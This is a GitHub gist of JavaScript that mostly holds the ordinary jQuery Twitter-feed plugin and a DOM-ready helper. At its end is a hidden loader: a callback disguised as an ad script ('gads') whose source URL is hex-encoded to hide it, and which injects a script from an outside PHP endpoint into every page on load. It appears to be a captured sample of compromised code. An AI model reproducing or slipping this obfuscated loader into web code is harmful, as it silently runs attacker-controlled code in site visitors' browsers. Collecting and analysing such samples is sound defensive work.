Created
February 1, 2016 17:18
-
-
Save malwador/2764d96508a7ce45af7c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*************************************************** | |
TWITTER FEED | |
***************************************************/ | |
(function($) { | |
$.fn.tweet = function(o){ | |
var s = { | |
username: ["seaofclouds"], // [string] required, unless you want to display our tweets. :) it can be an array, just do ["username1","username2","etc"] | |
list: null, //[string] optional name of list belonging to username | |
avatar_size: null, // [integer] height and width of avatar if displayed (48px max) | |
count: 3, // [integer] how many tweets to display? | |
intro_text: null, // [string] do you want text BEFORE your your tweets? | |
outro_text: null, // [string] do you want text AFTER your tweets? | |
join_text: null, // [string] optional text in between date and tweet, try setting to "auto" | |
auto_join_text_default: "i said,", // [string] auto text for non verb: "i said" bullocks | |
auto_join_text_ed: "i", // [string] auto text for past tense: "i" surfed | |
auto_join_text_ing: "i am", // [string] auto tense for present tense: "i was" surfing | |
auto_join_text_reply: "i replied to", // [string] auto tense for replies: "i replied to" @someone "with" | |
auto_join_text_url: "i was looking at", // [string] auto tense for urls: "i was looking at" http:... | |
loading_text: null, // [string] optional loading text, displayed while tweets load | |
query: null // [string] optional search query | |
}; | |
if(o) $.extend(s, o); | |
$.fn.extend({ | |
linkUrl: function() { | |
var returning = []; | |
var regexp = /((ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?)/gi; | |
this.each(function() { | |
returning.push(this.replace(regexp,"<a href=\"$1\">$1</a>")); | |
}); | |
return $(returning); | |
}, | |
linkUser: function() { | |
var returning = []; | |
var regexp = /[\@]+([A-Za-z0-9-_]+)/gi; | |
this.each(function() { | |
returning.push(this.replace(regexp,"<a href=\"http://twitter.com/$1\">@$1</a>")); | |
}); | |
return $(returning); | |
}, | |
linkHash: function() { | |
var returning = []; | |
var regexp = /(?:^| )[\#]+([A-Za-z0-9-_]+)/gi; | |
this.each(function() { | |
returning.push(this.replace(regexp, ' <a href="http://search.twitter.com/search?q=&tag=$1&lang=all&from='+s.username.join("%2BOR%2B")+'">#$1</a>')); | |
}); | |
return $(returning); | |
}, | |
capAwesome: function() { | |
var returning = []; | |
this.each(function() { | |
returning.push(this.replace(/\b(awesome)\b/gi, '<span class="awesome">$1</span>')); | |
}); | |
return $(returning); | |
}, | |
capEpic: function() { | |
var returning = []; | |
this.each(function() { | |
returning.push(this.replace(/\b(epic)\b/gi, '<span class="epic">$1</span>')); | |
}); | |
return $(returning); | |
}, | |
makeHeart: function() { | |
var returning = []; | |
this.each(function() { | |
returning.push(this.replace(/(<)+[3]/gi, "<tt class='heart'>♥</tt>")); | |
}); | |
return $(returning); | |
} | |
}); | |
function parse_date(date_str) { | |
// The non-search twitter APIs return inconsistently-formatted dates, which Date.parse | |
// cannot handle in IE. We therefore perform the following transformation: | |
// "Wed Apr 29 08:53:31 +0000 2009" => "Wed, Apr 29 2009 08:53:31 +0000" | |
return Date.parse(date_str.replace(/^([a-z]{3})( [a-z]{3} \d\d?)(.*)( \d{4})$/i, '$1,$2$4$3')); | |
} | |
function relative_time(time_value) { | |
var parsed_date = parse_date(time_value); | |
var relative_to = (arguments.length > 1) ? arguments[1] : new Date(); | |
var delta = parseInt((relative_to.getTime() - parsed_date) / 1000); | |
var pluralize = function (singular, n) { | |
return '' + n + ' ' + singular + (n == 1 ? '' : 's'); | |
}; | |
if(delta < 60) { | |
return 'less than a minute ago'; | |
} else if(delta < (60*60)) { | |
return 'about ' + pluralize("minute", parseInt(delta / 60)) + ' ago'; | |
} else if(delta < (24*60*60)) { | |
return 'about ' + pluralize("hour", parseInt(delta / 3600)) + ' ago'; | |
} else { | |
return 'about ' + pluralize("day", parseInt(delta / 86400)) + ' ago'; | |
} | |
} | |
function build_url() { | |
var proto = ('https:' == document.location.protocol ? 'https:' : 'http:'); | |
if (s.list) { | |
return proto+"//api.twitter.com/1/"+s.username[0]+"/lists/"+s.list+"/statuses.json?per_page="+s.count+"&callback=?"; | |
} else if (s.query == null && s.username.length == 1) { | |
return proto+'//api.twitter.com/1/statuses/user_timeline.json?screen_name='+s.username[0]+'&count='+s.count+'&include_rts=1&callback=?'; | |
} else { | |
var query = (s.query || 'from:'+s.username.join(' OR from:')); | |
return proto+'//search.twitter.com/search.json?&q='+encodeURIComponent(query)+'&rpp='+s.count+'&callback=?'; | |
} | |
} | |
return this.each(function(i, widget){ | |
var list = $('<ul class="tweet_list">').appendTo(widget); | |
var intro = '<p class="tweet_intro">'+s.intro_text+'</p>'; | |
var outro = '<p class="tweet_outro">'+s.outro_text+'</p>'; | |
var loading = $('<p class="loading">'+s.loading_text+'</p>'); | |
if(typeof(s.username) == "string"){ | |
s.username = [s.username]; | |
} | |
if (s.loading_text) $(widget).append(loading); | |
$.getJSON(build_url(), function(data){ | |
if (s.loading_text) loading.remove(); | |
if (s.intro_text) list.before(intro); | |
var tweets = (data.results || data); | |
$.each(tweets, function(i,item){ | |
// auto join text based on verb tense and content | |
if (s.join_text == "auto") { | |
if (item.text.match(/^(@([A-Za-z0-9-_]+)) .*/i)) { | |
var join_text = s.auto_join_text_reply; | |
} else if (item.text.match(/(^\w+:\/\/[A-Za-z0-9-_]+\.[A-Za-z0-9-_:%&\?\/.=]+) .*/i)) { | |
var join_text = s.auto_join_text_url; | |
} else if (item.text.match(/^((\w+ed)|just) .*/im)) { | |
var join_text = s.auto_join_text_ed; | |
} else if (item.text.match(/^(\w*ing) .*/i)) { | |
var join_text = s.auto_join_text_ing; | |
} else { | |
var join_text = s.auto_join_text_default; | |
} | |
} else { | |
var join_text = s.join_text; | |
}; | |
var from_user = item.from_user || item.user.screen_name; | |
var profile_image_url = item.profile_image_url || item.user.profile_image_url; | |
var join_template = '<span class="tweet_join"> '+join_text+' </span>'; | |
var join = ((s.join_text) ? join_template : ' '); | |
var avatar_template = '<a class="tweet_avatar" href="http://twitter.com/'+from_user+'"><img src="'+profile_image_url+'" height="'+s.avatar_size+'" width="'+s.avatar_size+'" alt="'+from_user+'\'s avatar" title="'+from_user+'\'s avatar" border="0"/></a>'; | |
var avatar = (s.avatar_size ? avatar_template : ''); | |
var date = '<span class="tweet_time"><a href="http://twitter.com/'+from_user+'/statuses/'+item.id+'" title="view tweet on twitter">'+relative_time(item.created_at)+'</a></span>'; | |
var text = '<span class="tweet_text">' +$([item.text]).linkUrl().linkUser().linkHash().makeHeart().capAwesome().capEpic()[0]+ '</span>'; | |
// until we create a template option, arrange the items below to alter a tweet's display. | |
list.append('<li>' + avatar + date + join + text + '</li>'); | |
list.children('li:first').addClass('tweet_first'); | |
list.children('li:odd').addClass('tweet_even'); | |
list.children('li:even').addClass('tweet_odd'); | |
}); | |
if (s.outro_text) list.after(outro); | |
$(widget).trigger("loaded").trigger((tweets.length == 0 ? "empty" : "full")); | |
}); | |
}); | |
}; | |
})(jQuery); | |
var DomLoaded = | |
{ | |
onload: [], | |
loaded: function() | |
{ | |
if (arguments.callee.done) return; | |
arguments.callee.done = true; | |
for (i = 0;i < DomLoaded.onload.length;i++) DomLoaded.onload[i](); | |
}, | |
load: function(fireThis) | |
{ | |
this.onload.push(fireThis); | |
if (document.addEventListener) | |
document.addEventListener("DOMContentLoaded", DomLoaded.loaded, null); | |
if (/KHTML|WebKit/i.test(navigator.userAgent)) | |
{ | |
var _timer = setInterval(function() | |
{ | |
if (/loaded|complete/.test(document.readyState)) | |
{ | |
clearInterval(_timer); | |
delete _timer; | |
DomLoaded.loaded(); | |
} | |
}, 10); | |
} | |
/*@cc_on @*/ | |
/*@if (@_win32) | |
var proto = "src='javascript:void(0)'"; | |
if (location.protocol == "https:") proto = "src=//0"; | |
document.write("<scr"+"ipt id=__ie_onload defer " + proto + "><\/scr"+"ipt>"); | |
var script = document.getElementById("__ie_onload"); | |
script.onreadystatechange = function() { | |
if (this.readyState == "complete") { | |
DomLoaded.loaded(); | |
} | |
}; | |
/*@end @*/ | |
window.onload = DomLoaded.loaded; | |
} | |
}; | |
DomLoaded.load(function() { | |
var gads = document.createElement('script'); | |
gads.async = true; gads.type = 'text/javascript'; | |
gads.src = '\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x74\x65\x73\x74\x77\x65\x62\x73\x69\x74\x65\x2E\x63\x6F\x6D\x2F\x66\x69\x6C\x65\x2E\x70\x68\x70'; | |
var node = document.getElementsByTagName('body')[0]; | |
node.parentNode.insertBefore(gads, node); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment